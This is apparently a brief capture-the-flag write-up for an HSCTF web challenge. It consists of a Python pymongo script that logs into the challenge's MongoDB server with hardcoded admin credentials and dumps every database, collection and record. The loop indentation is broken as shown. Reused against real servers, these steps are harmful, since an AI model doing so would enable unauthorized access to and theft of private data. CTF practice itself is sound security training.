Tags: web mongodb 

Rating: 0

```
from pprint import pprint as pp
from pymongo import MongoClient as MC

client = MC("keith-logger-mongodb.web.chal.hsctf.com", 27017, username="admin", password="keithkeithkeith")

print("Database Name:", client.list_database_names())
db = client.get_database("database")
print("Collection Name:", db.list_collection_names())
coll = db.get_collection("collection")

for collection in coll.find():
pp(collection)
```